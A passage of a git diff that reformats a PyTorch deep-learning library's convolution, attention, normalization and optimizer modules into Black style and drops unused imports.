self.dropout = nn.Dropout(dropout)
-
- self.encoder = TransformerEncoder(embed_dim, num_heads, num_layers, dropout=dropout)
+
+ self.encoder = TransformerEncoder(
+ embed_dim, num_heads, num_layers, dropout=dropout
+ )
self.head = nn.Linear(embed_dim, num_classes)
-
+
nn.init.trunc_normal_(self.pos_embed, std=0.02)
nn.init.trunc_normal_(self.cls_token, std=0.02)
-
+
def forward(self, x):
B = x.shape[0]
x = self.patch_embed(x).flatten(2).transpose(1, 2)
-
+
cls_tokens = self.cls_token.expand(B, -1, -1)
x = torch.cat([cls_tokens, x], dim=1)
x = x + self.pos_embed
x = self.dropout(x)
-
+
x = self.encoder(x)
x = x[:, 0]
x = self.head(x)
-
+
return x
+
class SelfAttention2D(nn.Module):
def __init__(self, in_channels):
super().__init__()
@@ -167,20 +204,21 @@ def __init__(self, in_channels):
self.key = nn.Conv2d(in_channels, in_channels // 8, 1)
self.value = nn.Conv2d(in_channels, in_channels, 1)
self.gamma = nn.Parameter(torch.zeros(1))
-
+
def forward(self, x):
B, C, H, W = x.size()
-
+
query = self.query(x).view(B, -1, H * W).permute(0, 2, 1)
key = self.key(x).view(B, -1, H * W)
value = self.value(x).view(B, -1, H * W)
-
+
attention = F.softmax(torch.bmm(query, key), dim=-1)
out = torch.bmm(value, attention.permute(0, 2, 1))
out = out.view(B, C, H, W)
-
+
return self.gamma * out + x
+
class LocalAttention(nn.Module):
def __init__(self, embed_dim, window_size=7, num_heads=8):
super().__init__()
@@ -188,20 +226,24 @@ def __init__(self, embed_dim, window_size=7, num_heads=8):
self.window_size = window_size
self.num_heads = num_heads
self.head_dim = embed_dim // num_heads
- self.scale = self.head_dim ** -0.5
-
+ self.scale = self.head_dim**-0.5
+
self.qkv = nn.Linear(embed_dim, embed_dim * 3)
self.proj = nn.Linear(embed_dim, embed_dim)
-
+
def forward(self, x):
B, N, C = x.shape
- qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.head_dim).permute(2, 0, 3, 1, 4)
+ qkv = (
+ self.qkv(x)
+ .reshape(B, N, 3, self.num_heads, self.head_dim)
+ .permute(2, 0, 3, 1, 4)
+ )
q, k, v = qkv[0], qkv[1], qkv[2]
-
+
attn = (q @ k.transpose(-2, -1)) * self.scale
attn = F.softmax(attn, dim=-1)
-
+
x = (attn @ v).transpose(1, 2).reshape(B, N, C)
x = self.proj(x)
-
+
return x
diff --git a/ML/src/python/neuralforge/nn/convolution.py b/ML/src/python/neuralforge/nn/convolution.py
index f0755ba5bdd..2807945c193 100644
--- a/ML/src/python/neuralforge/nn/convolution.py
+++ b/ML/src/python/neuralforge/nn/convolution.py
@@ -1,147 +1,183 @@
import torch
import torch.nn as nn
import torch.nn.functional as F
-from typing import List, Optional
+
class ResNetBlock(nn.Module):
def __init__(self, in_channels, out_channels, stride=1, downsample=None):
super().__init__()
- self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=3, stride=stride, padding=1, bias=False)
+ self.conv1 = nn.Conv2d(
+ in_channels,
+ out_channels,
+ kernel_size=3,
+ stride=stride,
+ padding=1,
+ bias=False,
+ )
self.bn1 = nn.BatchNorm2d(out_channels)
self.relu = nn.ReLU(inplace=True)
- self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False)
+ self.conv2 = nn.Conv2d(
+ out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False
+ )
self.bn2 = nn.BatchNorm2d(out_channels)
self.downsample = downsample
-
+
def forward(self, x):
identity = x
-
+
out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)
-
+
out = self.conv2(out)
out = self.bn2(out)
-
+
if self.downsample is not None:
identity = self.downsample(x)
-
+
out += identity
out = self.relu(out)
-
+
return out
+
class ResNet(nn.Module):
def __init__(self, block, layers, num_classes=1000, in_channels=3):
super().__init__()
self.in_channels = 64
-
- self.conv1 = nn.Conv2d(in_channels, 64, kernel_size=7, stride=2, padding=3, bias=False)
+
+ self.conv1 = nn.Conv2d(
+ in_channels, 64, kernel_size=7, stride=2, padding=3, bias=False
+ )
self.bn1 = nn.BatchNorm2d(64)
self.relu = nn.ReLU(inplace=True)
self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
-
+
self.layer1 = self._make_layer(block, 64, layers[0])
self.layer2 = self._make_layer(block, 128, layers[1], stride=2)
self.layer3 = self._make_layer(block, 256, layers[2], stride=2)
self.layer4 = self._make_layer(block, 512, layers[3], stride=2)
-
+
self.avgpool = nn.AdaptiveAvgPool2d((1, 1))
self.fc = nn.Linear(512, num_classes)
-
+
def _make_layer(self, block, out_channels, blocks, stride=1):
downsample = None
if stride != 1 or self.in_channels != out_channels:
downsample = nn.Sequential(
- nn.Conv2d(self.in_channels, out_channels, kernel_size=1, stride=stride, bias=False),
- nn.BatchNorm2d(out_channels)
+ nn.Conv2d(
+ self.in_channels,
+ out_channels,
+ kernel_size=1,
+ stride=stride,
+ bias=False,
+ ),
+ nn.BatchNorm2d(out_channels),
)
-
+
layers = []
layers.append(block(self.in_channels, out_channels, stride, downsample))
self.in_channels = out_channels
-
+
for _ in range(1, blocks):
layers.append(block(out_channels, out_channels))
-
+
return nn.Sequential(*layers)
-
+
def forward(self, x):
x = self.conv1(x)
x = self.bn1(x)
x = self.relu(x)
x = self.maxpool(x)
-
+
x = self.layer1(x)
x = self.layer2(x)
x = self.layer3(x)
x = self.layer4(x)
-
+
x = self.avgpool(x)
x = torch.flatten(x, 1)
x = self.fc(x)
-
+
return x
+
class EfficientNetBlock(nn.Module):
- def __init__(self, in_channels, out_channels, kernel_size, stride, expand_ratio, se_ratio=0.25):
+ def __init__(
+ self,
+ in_channels,
+ out_channels,
+ kernel_size,
+ stride,
+ expand_ratio,
+ se_ratio=0.25,
+ ):
super().__init__()
self.stride = stride
- self.use_residual = (stride == 1 and in_channels == out_channels)
-
+ self.use_residual = stride == 1 and in_channels == out_channels
+
hidden_dim = in_channels * expand_ratio
self.use_expansion = expand_ratio != 1
-
+
if self.use_expansion:
self.expand_conv = nn.Sequential(
nn.Conv2d(in_channels, hidden_dim, 1, bias=False),
nn.BatchNorm2d(hidden_dim),
- nn.SiLU(inplace=True)
+ nn.SiLU(inplace=True),
)
-
+
self.depthwise_conv = nn.Sequential(
- nn.Conv2d(hidden_dim, hidden_dim, kernel_size, stride, kernel_size // 2, groups=hidden_dim, bias=False),
+ nn.Conv2d(
+ hidden_dim,
+ hidden_dim,
+ kernel_size,
+ stride,
+ kernel_size // 2,
+ groups=hidden_dim,
+ bias=False,
+ ),
nn.BatchNorm2d(hidden_dim),
- nn.SiLU(inplace=True)
+ nn.SiLU(inplace=True),
)
-
+
se_channels = max(1, int(in_channels * se_ratio))
self.se = nn.Sequential(
nn.AdaptiveAvgPool2d(1),
nn.Conv2d(hidden_dim, se_channels, 1),
nn.SiLU(inplace=True),
nn.Conv2d(se_channels, hidden_dim, 1),
- nn.Sigmoid()
+ nn.Sigmoid(),
)
-
+
self.project_conv = nn.Sequential(
nn.Conv2d(hidden_dim, out_channels, 1, bias=False),
- nn.BatchNorm2d(out_channels)
+ nn.BatchNorm2d(out_channels),
)
-
+
def forward(self, x):
identity = x
-
+
if self.use_expansion:
x = self.expand_conv(x)
-
+
x = self.depthwise_conv(x)
-
+
se_weight = self.se(x)
x = x * se_weight
-
+
x = self.project_conv(x)
-
+
if self.use_residual:
x = x + identity
-
+
return x
+
class UNetBlock(nn.Module):
def __init__(self, in_channels, out_channels, down=True):
super().__init__()
self.down = down
-
+
if down:
self.conv = nn.Sequential(
nn.Conv2d(in_channels, out_channels, 3, padding=1),
@@ -149,7 +185,7 @@ def __init__(self, in_channels, out_channels, down=True):
nn.ReLU(inplace=True),
nn.Conv2d(out_channels, out_channels, 3, padding=1),
nn.BatchNorm2d(out_channels),
- nn.ReLU(inplace=True)
+ nn.ReLU(inplace=True),
)
self.pool = nn.MaxPool2d(2)
else:
@@ -159,10 +195,10 @@ def __init__(self, in_channels, out_channels, down=True):
nn.ReLU(inplace=True),
nn.Conv2d(out_channels, out_channels, 3, padding=1),
nn.BatchNorm2d(out_channels),
- nn.ReLU(inplace=True)
+ nn.ReLU(inplace=True),
)
self.up = nn.ConvTranspose2d(in_channels, in_channels // 2, 2, stride=2)
-
+
def forward(self, x, skip=None):
if self.down:
x = self.conv(x)
@@ -175,6 +211,7 @@ def forward(self, x, skip=None):
x = self.conv(x)
return x
+
class ConvNeXtBlock(nn.Module):
def __init__(self, dim, drop_path=0.0, layer_scale_init_value=1e-6):
super().__init__()
@@ -183,11 +220,16 @@ def __init__(self, dim, drop_path=0.0, layer_scale_init_value=1e-6):
self.pwconv1 = nn.Linear(dim, 4 * dim)
self.act = nn.GELU()
self.pwconv2 = nn.Linear(4 * dim, dim)
- self.gamma = nn.Parameter(layer_scale_init_value * torch.ones(dim)) if layer_scale_init_value > 0 else None
-
+ self.gamma = (
+ nn.Parameter(layer_scale_init_value * torch.ones(dim))
+ if layer_scale_init_value > 0
+ else None
+ )
+
from .modules import DropPath
+
self.drop_path = DropPath(drop_path) if drop_path > 0.0 else nn.Identity()
-
+
def forward(self, x):
identity = x
x = self.dwconv(x)
@@ -202,38 +244,52 @@ def forward(self, x):
x = identity + self.drop_path(x)
return x
+
class DilatedConvBlock(nn.Module):
def __init__(self, in_channels, out_channels, dilation_rates=[1, 2, 4, 8]):
super().__init__()
- self.convs = nn.ModuleList([
- nn.Sequential(
- nn.Conv2d(in_channels, out_channels // len(dilation_rates), 3, padding=d, dilation=d),
- nn.BatchNorm2d(out_channels // len(dilation_rates)),
- nn.ReLU(inplace=True)
- )
- for d in dilation_rates
- ])
-
+ self.convs = nn.ModuleList(
+ [
+ nn.Sequential(
+ nn.Conv2d(
+ in_channels,
+ out_channels // len(dilation_rates),
+ 3,
+ padding=d,
+ dilation=d,
+ ),
+ nn.BatchNorm2d(out_channels // len(dilation_rates)),
+ nn.ReLU(inplace=True),
+ )
+ for d in dilation_rates
+ ]
+ )
+
def forward(self, x):
return torch.cat([conv(x) for conv in self.convs], dim=1)
+
class PyramidPoolingModule(nn.Module):
def __init__(self, in_channels, out_channels, pool_sizes=[1, 2, 3, 6]):
super().__init__()
- self.stages = nn.ModuleList([
- nn.Sequential(
- nn.AdaptiveAvgPool2d(size),
- nn.Conv2d(in_channels, out_channels // len(pool_sizes), 1),
- nn.BatchNorm2d(out_channels // len(pool_sizes)),
- nn.ReLU(inplace=True)
- )
- for size in pool_sizes
- ])
-
+ self.stages = nn.ModuleList(
+ [
+ nn.Sequential(
+ nn.AdaptiveAvgPool2d(size),
+ nn.Conv2d(in_channels, out_channels // len(pool_sizes), 1),
+ nn.BatchNorm2d(out_channels // len(pool_sizes)),
+ nn.ReLU(inplace=True),
+ )
+ for size in pool_sizes
+ ]
+ )
+
def forward(self, x):
h, w = x.size(2), x.size(3)
features = [x]
for stage in self.stages:
pooled = stage(x)
- features.append(F.interpolate(pooled, size=(h, w), mode='bilinear', align_corners=False))
+ features.append(
+ F.interpolate(pooled, size=(h, w), mode="bilinear", align_corners=False)
+ )
return torch.cat(features, dim=1)
diff --git a/ML/src/python/neuralforge/nn/layers.py b/ML/src/python/neuralforge/nn/layers.py
index a0e8eb549b0..367ec3efb4c 100644
--- a/ML/src/python/neuralforge/nn/layers.py
+++ b/ML/src/python/neuralforge/nn/layers.py
@@ -1,28 +1,38 @@
import torch
import torch.nn as nn
-import torch.nn.functional as F
-from typing import Optional
+
class ConvBlock(nn.Module):
- def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, padding=1,
- use_bn=True, activation='relu', drop_rate=0.0):
+ def __init__(
+ self,
+ in_channels,
+ out_channels,
+ kernel_size=3,
+ stride=1,
+ padding=1,
+ use_bn=True,
+ activation="relu",
+ drop_rate=0.0,
+ ):
super().__init__()
- self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding, bias=not use_bn)
+ self.conv = nn.Conv2d(
+ in_channels, out_channels, kernel_size, stride, padding, bias=not use_bn
+ )
self.bn = nn.BatchNorm2d(out_channels) if use_bn else nn.Identity()
-
- if activation == 'relu':
+
+ if activation == "relu":
self.activation = nn.ReLU(inplace=True)
- elif activation == 'gelu':
+ elif activation == "gelu":
self.activation = nn.GELU()
- elif activation == 'silu':
+ elif activation == "silu":
self.activation = nn.SiLU(inplace=True)
- elif activation == 'mish':
+ elif activation == "mish":
self.activation = nn.Mish(inplace=True)
else:
self.activation = nn.Identity()
-
+
self.dropout = nn.Dropout2d(drop_rate) if drop_rate > 0 else nn.Identity()
-
+
def forward(self, x):
x = self.conv(x)
x = self.bn(x)
@@ -30,13 +40,22 @@ def forward(self, x):
x = self.dropout(x)
return x
+
class ResidualBlock(nn.Module):
def __init__(self, channels, kernel_size=3, drop_rate=0.0):
super().__init__()
- self.conv1 = ConvBlock(channels, channels, kernel_size, padding=kernel_size // 2, drop_rate=drop_rate)
- self.conv2 = ConvBlock(channels, channels, kernel_size, padding=kernel_size // 2, activation='none')
+ self.conv1 = ConvBlock(
+ channels,
+ channels,
+ kernel_size,
+ padding=kernel_size // 2,
+ drop_rate=drop_rate,
+ )
+ self.conv2 = ConvBlock(
+ channels, channels, kernel_size, padding=kernel_size // 2, activation="none"
+ )
self.activation = nn.ReLU(inplace=True)
-
+
def forward(self, x):
residual = x
x = self.conv1(x)
@@ -45,24 +64,31 @@ def forward(self, x):
x = self.activation(x)
return x
+
class BottleneckBlock(nn.Module):
def __init__(self, in_channels, out_channels, stride=1, expansion=4):
super().__init__()
mid_channels = out_channels // expansion
-
+
self.conv1 = ConvBlock(in_channels, mid_channels, kernel_size=1, padding=0)
- self.conv2 = ConvBlock(mid_channels, mid_channels, kernel_size=3, stride=stride, padding=1)
- self.conv3 = ConvBlock(mid_channels, out_channels, kernel_size=1, padding=0, activation='none')
-
+ self.conv2 = ConvBlock(
+ mid_channels, mid_channels, kernel_size=3, stride=stride, padding=1
+ )
+ self.conv3 = ConvBlock(
+ mid_channels, out_channels, kernel_size=1, padding=0, activation="none"
+ )
+
self.shortcut = nn.Sequential()
if stride != 1 or in_channels != out_channels:
self.shortcut = nn.Sequential(
- nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=stride, bias=False),
- nn.BatchNorm2d(out_channels)
+ nn.Conv2d(
+ in_channels, out_channels, kernel_size=1, stride=stride, bias=False
+ ),
+ nn.BatchNorm2d(out_channels),
)
-
+
self.activation = nn.ReLU(inplace=True)
-
+
def forward(self, x):
residual = self.shortcut(x)
x = self.conv1(x)
@@ -72,59 +98,76 @@ def forward(self, x):
x = self.activation(x)
return x
+
class InvertedResidualBlock(nn.Module):
def __init__(self, in_channels, out_channels, stride=1, expand_ratio=6):
super().__init__()
hidden_dim = in_channels * expand_ratio
self.use_residual = stride == 1 and in_channels == out_channels
-
+
layers = []
if expand_ratio != 1:
layers.append(ConvBlock(in_channels, hidden_dim, kernel_size=1, padding=0))
-
- layers.extend([
- ConvBlock(hidden_dim, hidden_dim, kernel_size=3, stride=stride, padding=1, activation='relu'),
- nn.Conv2d(hidden_dim, out_channels, kernel_size=1, bias=False),
- nn.BatchNorm2d(out_channels)
- ])
-
+
+ layers.extend(
+ [
+ ConvBlock(
+ hidden_dim,
+ hidden_dim,
+ kernel_size=3,
+ stride=stride,
+ padding=1,
+ activation="relu",
+ ),
+ nn.Conv2d(hidden_dim, out_channels, kernel_size=1, bias=False),
+ nn.BatchNorm2d(out_channels),
+ ]
+ )
+
self.conv = nn.Sequential(*layers)
-
+
def forward(self, x):
if self.use_residual:
return x + self.conv(x)
return self.conv(x)
+
class DenseLayer(nn.Module):
def __init__(self, in_channels, growth_rate, drop_rate=0.0):
super().__init__()
self.bn1 = nn.BatchNorm2d(in_channels)
self.relu1 = nn.ReLU(inplace=True)
self.conv1 = nn.Conv2d(in_channels, growth_rate * 4, kernel_size=1, bias=False)
-
+
self.bn2 = nn.BatchNorm2d(growth_rate * 4)
self.relu2 = nn.ReLU(inplace=True)
- self.conv2 = nn.Conv2d(growth_rate * 4, growth_rate, kernel_size=3, padding=1, bias=False)
-
+ self.conv2 = nn.Conv2d(
+ growth_rate * 4, growth_rate, kernel_size=3, padding=1, bias=False
+ )
+
self.dropout = nn.Dropout2d(drop_rate) if drop_rate > 0 else nn.Identity()
-
+
def forward(self, x):
out = self.conv1(self.relu1(self.bn1(x)))
out = self.conv2(self.relu2(self.bn2(out)))
out = self.dropout(out)
return torch.cat([x, out], 1)
+
class DenseBlock(nn.Module):
def __init__(self, num_layers, in_channels, growth_rate, drop_rate=0.0):
super().__init__()
layers = []
for i in range(num_layers):
- layers.append(DenseLayer(in_channels + i * growth_rate, growth_rate, drop_rate))
+ layers.append(
+ DenseLayer(in_channels + i * growth_rate, growth_rate, drop_rate)
+ )
self.layers = nn.Sequential(*layers)
-
+
def forward(self, x):
return self.layers(x)
+
class TransitionLayer(nn.Module):
def __init__(self, in_channels, out_channels):
super().__init__()
@@ -132,12 +175,13 @@ def __init__(self, in_channels, out_channels):
self.relu = nn.ReLU(inplace=True)
self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=1, bias=False)
self.pool = nn.AvgPool2d(kernel_size=2, stride=2)
-
+
def forward(self, x):
x = self.conv(self.relu(self.bn(x)))
x = self.pool(x)
return x
+
class SEBlock(nn.Module):
def __init__(self, channels, reduction=16):
super().__init__()
@@ -146,24 +190,33 @@ def __init__(self, channels, reduction=16):
nn.Linear(channels, channels // reduction, bias=False),
nn.ReLU(inplace=True),
nn.Linear(channels // reduction, channels, bias=False),
- nn.Sigmoid()
+ nn.Sigmoid(),
)
-
+
def forward(self, x):
b, c, _, _ = x.size()
se = self.squeeze(x).view(b, c)
se = self.excitation(se).view(b, c, 1, 1)
return x * se.expand_as(x)
+
class DepthwiseSeparableConv(nn.Module):
def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, padding=1):
super().__init__()
- self.depthwise = nn.Conv2d(in_channels, in_channels, kernel_size, stride, padding, groups=in_channels, bias=False)
+ self.depthwise = nn.Conv2d(
+ in_channels,
+ in_channels,
+ kernel_size,
+ stride,
+ padding,
+ groups=in_channels,
+ bias=False,
+ )
self.pointwise = nn.Conv2d(in_channels, out_channels, kernel_size=1, bias=False)
self.bn1 = nn.BatchNorm2d(in_channels)
self.bn2 = nn.BatchNorm2d(out_channels)
self.relu = nn.ReLU(inplace=True)
-
+
def forward(self, x):
x = self.depthwise(x)
x = self.bn1(x)
diff --git a/ML/src/python/neuralforge/nn/modules.py b/ML/src/python/neuralforge/nn/modules.py
index e127753ef4d..57e6b8b618f 100644
--- a/ML/src/python/neuralforge/nn/modules.py
+++ b/ML/src/python/neuralforge/nn/modules.py
@@ -1,11 +1,14 @@
+import math
+
import torch
import torch.nn as nn
import torch.nn.functional as F
-from typing import Optional, Tuple
-import math
+
class DynamicConv2d(nn.Module):
- def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, groups=1):
+ def __init__(
+ self, in_channels, out_channels, kernel_size, stride=1, padding=0, groups=1
+ ):
super().__init__()
self.in_channels = in_channels
self.out_channels = out_channels
@@ -13,64 +16,82 @@ def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0,
self.stride = stride
self.padding = padding
self.groups = groups
-
- self.weight = nn.Parameter(torch.randn(out_channels, in_channels // groups, kernel_size, kernel_size))
+
+ self.weight = nn.Parameter(
+ torch.randn(out_channels, in_channels // groups, kernel_size, kernel_size)
+ )
self.bias = nn.Parameter(torch.zeros(out_channels))
-
- nn.init.kaiming_normal_(self.weight, mode='fan_out', nonlinearity='relu')
-
+
+ nn.init.kaiming_normal_(self.weight, mode="fan_out", nonlinearity="relu")
+
def forward(self, x):
- return F.conv2d(x, self.weight, self.bias, self.stride, self.padding, groups=self.groups)
+ return F.conv2d(
+ x, self.weight, self.bias, self.stride, self.padding, groups=self.groups
+ )
+
class DynamicLinear(nn.Module):
def __init__(self, in_features, out_features, bias=True):
super().__init__()
self.in_features = in_features
self.out_features = out_features
-
+
self.weight = nn.Parameter(torch.randn(out_features, in_features))
if bias:
self.bias = nn.Parameter(torch.zeros(out_features))
else:
- self.register_parameter('bias', None)
-
+ self.register_parameter("bias", None)
+
nn.init.kaiming_uniform_(self.weight, a=math.sqrt(5))
if self.bias is not None:
fan_in, _ = nn.init._calculate_fan_in_and_fan_out(self.weight)
bound = 1 / math.sqrt(fan_in)
nn.init.uniform_(self.bias, -bound, bound)
-
+
def forward(self, x):
return F.linear(x, self.weight, self.bias)
+
class AdaptiveBatchNorm2d(nn.Module):
def __init__(self, num_features, eps=1e-5, momentum=0.1):
super().__init__()
self.num_features = num_features
self.eps = eps
self.momentum = momentum
-
+
self.weight = nn.Parameter(torch.ones(num_features))
self.bias = nn.Parameter(torch.zeros(num_features))
- self.register_buffer('running_mean', torch.zeros(num_features))
- self.register_buffer('running_var', torch.ones(num_features))
- self.register_buffer('num_batches_tracked', torch.tensor(0, dtype=torch.long))
-
+ self.register_buffer("running_mean", torch.zeros(num_features))
+ self.register_buffer("running_var", torch.ones(num_features))
+ self.register_buffer("num_batches_tracked", torch.tensor(0, dtype=torch.long))
+
def forward(self, x):
if self.training:
mean = x.mean([0, 2, 3])
var = x.var([0, 2, 3], unbiased=False)
-
+
with torch.no_grad():
- self.running_mean = (1 - self.momentum) * self.running_mean + self.momentum * mean
- self.running_var = (1 - self.momentum) * self.running_var + self.momentum * var
+ self.running_mean = (
+ 1 - self.momentum
+ ) * self.running_mean + self.momentum * mean
+ self.running_var = (
+ 1 - self.momentum
+ ) * self.running_var + self.momentum * var
self.num_batches_tracked += 1
-
- x_normalized = (x - mean[None, :, None, None]) / torch.sqrt(var[None, :, None, None] + self.eps)
+
+ x_normalized = (x - mean[None, :, None, None]) / torch.sqrt(
+ var[None, :, None, None] + self.eps
+ )
else:
- x_normalized = (x - self.running_mean[None, :, None, None]) / torch.sqrt(self.running_var[None, :, None, None] + self.eps)
-
- return self.weight[None, :, None, None] * x_normalized + self.bias[None, :, None, None]
+ x_normalized = (x - self.running_mean[None, :, None, None]) / torch.sqrt(
+ self.running_var[None, :, None, None] + self.eps
+ )
+
+ return (
+ self.weight[None, :, None, None] * x_normalized
+ + self.bias[None, :, None, None]
+ )
+
class LayerNorm(nn.Module):
def __init__(self, normalized_shape, eps=1e-5):
@@ -79,12 +100,13 @@ def __init__(self, normalized_shape, eps=1e-5):
self.eps = eps
self.weight = nn.Parameter(torch.ones(normalized_shape))
self.bias = nn.Parameter(torch.zeros(normalized_shape))
-
+
def forward(self, x):
mean = x.mean(-1, keepdim=True)
std = x.std(-1, keepdim=True)
return self.weight * (x - mean) / (std + self.eps) + self.bias
+
class GroupNorm(nn.Module):
def __init__(self, num_groups, num_channels, eps=1e-5):
super().__init__()
@@ -93,7 +115,7 @@ def __init__(self, num_groups, num_channels, eps=1e-5):
self.eps = eps
self.weight = nn.Parameter(torch.ones(num_channels))
self.bias = nn.Parameter(torch.zeros(num_channels))
-
+
def forward(self, x):
N, C, H, W = x.shape
x = x.reshape(N, self.num_groups, C // self.num_groups, H, W)
@@ -103,11 +125,12 @@ def forward(self, x):
x = x.reshape(N, C, H, W)
return x * self.weight[None, :, None, None] + self.bias[None, :, None, None]
+
class DropPath(nn.Module):
def __init__(self, drop_prob=0.0):
super().__init__()
self.drop_prob = drop_prob
-
+
def forward(self, x):
if self.drop_prob == 0.0 or not self.training:
return x
@@ -118,45 +141,50 @@ def forward(self, x):
output = x.div(keep_prob) * random_tensor
return output
+
class GlobalAvgPool2d(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
return x.mean([2, 3])
+
class GlobalMaxPool2d(nn.Module):
def __init__(self):
super().__init__()
-
+
def forward(self, x):
return x.max(dim=2)[0].max(dim=2)[0]
+
class AdaptiveAvgMaxPool2d(nn.Module):
def __init__(self):
super().__init__()
self.avg_pool = GlobalAvgPool2d()
self.max_pool = GlobalMaxPool2d()
-
+
def forward(self, x):
avg = self.avg_pool(x)
max_val = self.max_pool(x)
return torch.cat([avg, max_val], dim=1)
+
class Flatten(nn.Module):
def __init__(self, start_dim=1):
super().__init__()
self.start_dim = start_dim
-
+
def forward(self, x):
return x.flatten(self.start_dim)
+
class SqueezeExcitation(nn.Module):
def __init__(self, channels, reduction=16):
super().__init__()
self.fc1 = nn.Linear(channels, channels // reduction)
self.fc2 = nn.Linear(channels // reduction, channels)
-
+
def forward(self, x):
b, c, _, _ = x.size()
se = x.mean([2, 3])
@@ -164,11 +192,12 @@ def forward(self, x):
se = torch.sigmoid(self.fc2(se))
return x * se.view(b, c, 1, 1)
+
class SpatialAttention(nn.Module):
def __init__(self, kernel_size=7):
super().__init__()
self.conv = nn.Conv2d(2, 1, kernel_size, padding=kernel_size // 2)
-
+
def forward(self, x):
avg_out = torch.mean(x, dim=1, keepdim=True)
max_out, _ = torch.max(x, dim=1, keepdim=True)
@@ -176,12 +205,13 @@ def forward(self, x):
attention = torch.sigmoid(self.conv(attention))
return x * attention
+
class CBAM(nn.Module):
def __init__(self, channels, reduction=16, kernel_size=7):
super().__init__()
self.channel_attention = SqueezeExcitation(channels, reduction)
self.spatial_attention = SpatialAttention(kernel_size)
-
+
def forward(self, x):
x = self.channel_attention(x)
x = self.spatial_attention(x)
diff --git a/ML/src/python/neuralforge/optim/__init__.py b/ML/src/python/neuralforge/optim/__init__.py
index 152ec2e4713..855dd999416 100644
--- a/ML/src/python/neuralforge/optim/__init__.py
+++ b/ML/src/python/neuralforge/optim/__init__.py
@@ -2,12 +2,12 @@
from .schedulers import *
__all__ = [
- 'AdamW',
- 'LAMB',
- 'AdaBound',
- 'RAdam',
- 'Lookahead',
- 'CosineAnnealingWarmRestarts',
- 'OneCycleLR',
- 'WarmupScheduler',
+ "AdamW",
+ "LAMB",
+ "AdaBound",
+ "RAdam",
+ "Lookahead",
+ "CosineAnnealingWarmRestarts",
+ "OneCycleLR",
+ "WarmupScheduler",
]
diff --git a/ML/src/python/neuralforge/optim/optimizers.py b/ML/src/python/neuralforge/optim/optimizers.py
index 242e86178b6..51c4b186167 100644
--- a/ML/src/python/neuralforge/optim/optimizers.py
+++ b/ML/src/python/neuralforge/optim/optimizers.py
@@ -1,9 +1,19 @@
+import math
+
import torch
from torch.optim.optimizer import Optimizer
-import math
+
class AdamW(Optimizer):
- def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0.01, amsgrad=False):
+ def __init__(
+ self,
+ params,
+ lr=1e-3,
+ betas=(0.9, 0.999),
+ eps=1e-8,
+ weight_decay=0.01,
+ amsgrad=False,
+ ):
if lr < 0.0:
raise ValueError(f"Invalid learning rate: {lr}")
if eps < 0.0:
@@ -12,217 +22,253 @@ def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0
raise ValueError(f"Invalid beta parameter at index 0: {betas[0]}")
if not 0.0 <= betas[1] < 1.0:
raise ValueError(f"Invalid beta parameter at index 1: {betas[1]}")
-
- defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay, amsgrad=amsgrad)
+
+ defaults = dict(
+ lr=lr, betas=betas, eps=eps, weight_decay=weight_decay, amsgrad=amsgrad
+ )
super().__init__(params, defaults)
-
+
def step(self, closure=None):
loss = None
if closure is not None:
loss = closure()
-
+
for group in self.param_groups:
- for p in group['params']:
+ for p in group["params"]:
if p.grad is None:
continue
-
+
grad = p.grad.data
if grad.is_sparse:
- raise RuntimeError('AdamW does not support sparse gradients')
-
- amsgrad = group['amsgrad']
+ raise RuntimeError("AdamW does not support sparse gradients")
+
+ amsgrad = group["amsgrad"]
state = self.state[p]
-
+
if len(state) == 0:
- state['step'] = 0
- state['exp_avg'] = torch.zeros_like(p.data)
- state['exp_avg_sq'] = torch.zeros_like(p.data)
+ state["step"] = 0
+ state["exp_avg"] = torch.zeros_like(p.data)
+ state["exp_avg_sq"] = torch.zeros_like(p.data)
if amsgrad:
- state['max_exp_avg_sq'] = torch.zeros_like(p.data)
-
- exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']
+ state["max_exp_avg_sq"] = torch.zeros_like(p.data)
+
+ exp_avg, exp_avg_sq = state["exp_avg"], state["exp_avg_sq"]
if amsgrad:
- max_exp_avg_sq = state['max_exp_avg_sq']
- beta1, beta2 = group['betas']
-
- state['step'] += 1
-
- p.data.mul_(1 - group['lr'] * group['weight_decay'])
-
+ max_exp_avg_sq = state["max_exp_avg_sq"]
+ beta1, beta2 = group["betas"]
+
+ state["step"] += 1
+
+ p.data.mul_(1 - group["lr"] * group["weight_decay"])
+
exp_avg.mul_(beta1).add_(grad, alpha=1 - beta1)
exp_avg_sq.mul_(beta2).addcmul_(grad, grad, value=1 - beta2)
-
+
if amsgrad:
torch.max(max_exp_avg_sq, exp_avg_sq, out=max_exp_avg_sq)
- denom = max_exp_avg_sq.sqrt().add_(group['eps'])
+ denom = max_exp_avg_sq.sqrt().add_(group["eps"])
else:
- denom = exp_avg_sq.sqrt().add_(group['eps'])
-
- bias_correction1 = 1 - beta1 ** state['step']
- bias_correction2 = 1 - beta2 ** state['step']
- step_size = group['lr'] * math.sqrt(bias_correction2) / bias_correction1
-
+ denom = exp_avg_sq.sqrt().add_(group["eps"])
+
+ bias_correction1 = 1 - beta1 ** state["step"]
+ bias_correction2 = 1 - beta2 ** state["step"]
+ step_size = group["lr"] * math.sqrt(bias_correction2) / bias_correction1
+
p.data.addcdiv_(exp_avg, denom, value=-step_size)
-
+
return loss
+
class LAMB(Optimizer):
- def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-6, weight_decay=0.01):
+ def __init__(
+ self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-6, weight_decay=0.01
+ ):
